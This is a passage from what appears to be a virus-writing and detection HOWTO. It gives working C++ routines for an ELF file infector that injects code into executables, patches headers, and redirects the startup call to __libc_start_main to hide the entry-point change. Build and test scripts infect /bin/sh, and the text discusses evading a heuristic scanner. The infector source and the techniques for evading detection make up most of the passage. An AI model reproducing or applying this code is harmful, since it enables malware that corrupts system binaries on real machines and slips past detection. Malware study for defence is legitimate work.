## Patching section headers

This part is not strictly required. The resulting executable will work without. But **readelf** and **strip** will bitterly complain.

### Source - patchShdr.

```
bool Target::patchShdr()
{
    unsigned nr = p.ehdr->e_shnum;
    Elf32_Shdr* shdr = (Elf32_Shdr*)(p.b + p.ehdr->e_shoff);
    while(nr-- > 0)
    {
        if (shdr->sh_offset > top)
            shdr->sh_offset += INFECTION_SIZE;
        shdr++;
    }
    p.ehdr->e_shoff += INFECTION_SIZE;
    return true; /* this implementations can't fail */
}
```

# Copy & infect

## Source - copyAndInfect.

```
bool Target::copyAndInfect()
{
    /* first part of original target */
    write(fd_dst, p.b, top);

    /* first byte is the opcode for "push" */
    write(fd_dst, infection, 1);

    /* next four bytes is the address to "ret" to */
    write(fd_dst, &original_entry, sizeof(original_entry));

    /* rest of infective code */
    write(fd_dst, infection + 5, INFECTION_SIZE - 5);

    /* rest of original target */
    write(fd_dst, p.b + top, filesize - top);

    return true;
}
```

## Off we go

### Command - build.

```
#!/bin/sh
step=${1:-one}
g++ -Wall -D PATCH_ENTRY_ADDR_$step \
    -o tmp/one_step_closer/$step/infectior \
    src/one_step_closer/*.cxx \
&& cd tmp/one_step_closer/$step \
&& ./infectior /bin/sh
```

### Output - build.

```
Infected /bin/sh... Ok
```

A simple shell script will do as test.

### Command - test script.

```
#!/tmp/one_step_closer/one/sh_infected

echo $BASH
echo $BASH_VERSION
which which
```

### Output - test script.

```
ELF/home/alba/virus-writing-and-detection-HOWTO/tmp/one_step_closer/one/sh_infected
2.05.8(1)-release
/usr/bin/which
```

The Force is strong with this one.

---

[<<< Previous](#)

[Home](#)

[Next >>>](#)

readelf

The entry point

# The entry point

*The longest part of the journey is said to be the passing of the gate.*

*Marcus Terentius Varro*

After emotions cooled down a bit we can examine the infected executable and compare it with [the original](#).

## Command.

```
#!/bin/sh
cd tmp/one_step_closer/one
ls -l sh_infected
readelf -l sh_infected
```

## Output.

```
-rwxrwxr-x    1 alba    alba    524060 Mar 15 22:08 sh_infected

Elf file type is EXEC (Executable file)
Entry point 0x80c1273
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
  INTERP        0x0000f4 0x080480f4 0x080480f4 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD          0x000000 0x08048000 0x08048000 0x7a273 0x7a273 R E 0x1000
  LOAD          0x07a280 0x080c2280 0x080c2280 0x057e0 0x09bd0 RW 0x1000
  DYNAMIC       0x07f980 0x080c7980 0x080c7980 0x000e0 0x000e0 RW 0x4
  NOTE         0x000108 0x08048108 0x08048108 0x00020 0x00020 R   0x4

Section to Segment mapping:
Segment Sections...
 00
 01  .interp
 02  .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r
.rel.got .rel.bss .rel.plt .init .plt .text .fini .rodata
 03  .data .eh_frame .ctors .dtors .got .dynamic .bss
 04  .dynamic
 05  .note.ABI-tag
```

File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:

$\text{infected.file\_size} - \text{sh.file\_size} = 524060 - 519964 = 4096 = 0x1000$

$\text{infected.LOAD}[1].\text{Filesize} - \text{sh.LOAD}[1].\text{Filesize} = 0x7a273 - 0x79273 = 0x1000$

$\text{infected.LOAD}[2].\text{Offset} - \text{sh.LOAD}[2].\text{Offset} = 0x7a280 - 0x79280 = 0x1000$

$\text{infected.DYNAMIC}.\text{Offset} - \text{sh.DYNAMIC}.\text{Offset} = 0x7f980 - 0x7e980 = 0x1000$

## First scan

Let's give the [heuristic scanner](#) a try.

### Command.

```
#!/bin/sh
echo    '/bin/bash
        tmp/one_step_closer/sh_infected' \
| src/check_dist/check_dist.pl
```

### Output.

```
tmp/one_step_closer/sh_infected has 0 LOAD segments.
2 files; min_distance=0x00100d max_distance=0x00100d
```

As predicted. This is like playing chess against oneself, and losing. Can't do much about it, though. I'll fix something else in revenge.

## Second scan

The value of `Entry point` changed dramatically. In the original it is in the first part of the file:

$\text{entry\_point\_ofs} = 0x8059380 - 0x8048000 = 0x11380 = 70528 \text{ bytes.}$

The infected copy moved that to exactly 4096 bytes from the end of the code segment.

$\text{entry\_point\_ofs} = 0x80c1273 - 0x8048000 = 0x79273 = 496243 \text{ bytes.}$

$\text{end\_of\_LOAD1} = 0x8048000 + 0x7a273 = 0x80c2273$

$\text{entry\_point\_distance\_to\_end} = 0x80c2273 - 0x80c1273 = 0x1000 = 4096$

This is another easy vulnerability to scanners. By restructuring [our code](#) we can make that number even smaller. But for a real cure we need stronger voodoo.

## Patch me if you can

If we chose to leave `entry_point` as it is, we have to patch something else. One approach is to disassemble the code, starting at `entry_point`, find the first `call` (or `jmp`) and abuse it. This requires way too much intelligence for a virus, though.

But then we are operating in a homogeneous environment, having one compiler and one C run-time library for all. The startup code should be the same for every executable.

### Command.

```
#!/bin/sh
entry_point=$( readelf -l /bin/bash | sed -ne 's/^Entry point //p' )
gdb /bin/bash -q <<EOT | sed -ne '/:$/,,/hlt *$/p'
    break *$entry_point
    run
    disassemble
EOT
```

### Output.

```
(gdb) Dump of assembler code for function _start:
0x8059380 <_start>:    xor     %ebp,%ebp
0x8059382 <_start+2>:    pop     %esi
0x8059383 <_start+3>:    mov     %esp,%ecx
0x8059385 <_start+5>:    and     $0xffffffff0,%esp
0x8059388 <_start+8>:    push   %eax
0x8059389 <_start+9>:    push   %esp
0x805938a <_start+10>:   push   %edx
0x805938b <_start+11>:   push   $0x80ad030
0x8059390 <_start+16>:   push   $0x8058a60
0x8059395 <_start+21>:   push   %ecx
0x8059396 <_start+22>:   push   %esi
0x8059397 <_start+23>:   push   $0x8059480
0x805939c <_start+28>:   call   0x8058fc8 <__libc_start_main>
0x80593a1 <_start+33>:   hlt
```

Looks plausible. Anyway, we have to implement a check whether the code at the entry address really looks like this. Just in case the target is already infected (by a superior virus). To implement a comparison we only need offset and size, not actual opcodes. But I will feel better after I have them straight in front of me. And **ndisasm** counts starting with zero, which requires less brain activity.

### Command.

```
#!/bin/sh
entry_point=$( \
    readelf -l /bin/bash \
    | sed -ne 's/^Entry point 0x//p' \
    | tr a-f A-F \
)
entry_point_ofs=$( echo "ibase=16; $entry_point - 08048000" | bc )
ndisasm -e $entry_point_ofs -U /bin/bash | sed -e '/hlt/q'
```

## Output.

```
00000000 31ED          xor ebp,ebp
00000002 5E           pop esi
00000003 89E1        mov ecx,esp
00000005 83E4F0     and esp,byte -0x10
00000008 50         push eax
00000009 54         push esp
0000000A 52         push edx
0000000B 6830D00A08 push dword 0x80ad030
00000010 68608A0508 push dword 0x8058a60
00000015 51         push ecx
00000016 56         push esi
00000017 6880940508 push dword 0x8059480
0000001C E827FCFFFF call 0xfffffc48
00000021 F4         hlt
```

## patchEntryAddr 2.0

There is one remaining issue. `Elf32_Ehdr::e_entry` is an absolute address, as is the value popped off the stack by `ret`. The operand of `call` and `jmp` is encoded relative to the location of the following instruction, however. This is described in the documentation of [nasm](#):

```
CALL imm          ; E8 rw/rd      [8086]
```

[...] The codes `rb`, `rw` and `rd` indicate that one of the operands to the instruction is an immediate value, and that the difference between this value and the address of the end of the instruction is to be encoded as a byte, word or doubleword respectively. Where the form `rw/rd` appears, it indicates that either `rw` or `rd` should be used according to whether assembly is being performed in BITS 16 or BITS 32 state respectively.

### Source - patchEntryAddr.

```
bool Target::patchEntryAddr()
{
    Elf32_Ehdr* self = (Elf32_Ehdr*)0x8048000;
    unsigned char* self_entry_code = (unsigned char*)self->e_entry;
    unsigned char* target_entry_code = p.b + (p.ehdr->e_entry - 0x8048000);

    if (0 != memcmp(self_entry_code, target_entry_code, 0xc))
        return false;

    /* check for "call" */
    if (self_entry_code[0x1c] != target_entry_code[0x1c])
        return false;

    /* check for "hlt" */
    if (self_entry_code[0x21] != target_entry_code[0x21])
        return false;

    int beyond_the_call = p.ehdr->e_entry + 0x21;
    int* patch_point = (int*)(target_entry_code + 0x1D);
```

```
original_entry = beyond_the_call + *patch_point;
*patch_point = (phdr[2].p_vaddr + phdr[2].p_filesz) - beyond_the_call;

return true;
}
```

### Output - test script.

```
ELF/home/alba/virus-writing-and-detection-HOWTO/tmp/one_step_closer/two/sh_infected
2.05.8(1)-release
/usr/bin/which
```

---

[<<< Previous](#)

[Home](#)

One step closer to the edge